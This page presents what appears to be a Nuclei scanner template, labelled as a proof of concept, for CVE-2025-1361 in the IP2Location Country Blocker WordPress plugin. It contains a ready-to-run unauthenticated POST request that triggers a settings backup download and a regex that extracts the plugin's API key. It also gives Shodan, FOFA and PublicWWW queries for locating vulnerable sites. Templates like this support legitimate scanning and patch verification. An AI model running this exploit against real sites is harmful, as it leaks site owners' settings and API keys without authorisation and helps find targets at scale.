IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.
PoC
id: CVE-2025-1361
info:
name: IP2Location Country Blocker < 2.38.9 - Unauthenticated Information Disclosure
author: pussycat0x
severity: high
description: |
IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.
impact: |
Unauthenticated attackers can view plugin settings, potentially leading to information disclosure or further attacks.
remediation: |
Update to the latest version of the plugin that fixes the capability check issue.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/b63bc2b6-1abc-4cfa-a7e5-3995640f66a7
- https://wpscan.com/vulnerability/3629be51-7c7e-4677-917f-a0693df3980f/
- https://wordpress.org/plugins/ip2location-country-blocker/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-1361
cwe-id: CWE-862
epss-score: 0.01302
epss-percentile: 0.6959
cpe: cpe:2.3:a:ip2location:country_blocker:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/ip2location-country-blocker/"
fofa-query: body="/wp-content/plugins/ip2location-country-blocker/"
shodan-query: http.html:"/wp-content/plugins/ip2location-country-blocker/"
tags: cve,cve2025,wordpress,wp-plugin,wp-scan,ip2location-country-blocker,unauth
http:
- raw:
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=download_backup
matchers:
- type: dsl
dsl:
- 'contains_all(body, "ip2location_country_blocker_api_key")'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
extractors:
- type: regex
name: api_key
part: body
group: 1
regex:
- '"ip2location_country_blocker_api_key":"([^"]*)"'
# digest: 490a00463044022066e2d92b948c48c2d63f91e25e28491af677c5213d8377c80ddb0cdc7388bce802203b8d73e8f4ee91ee0990a909731c1886d957333a5ca5e9116a59544220738d01:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.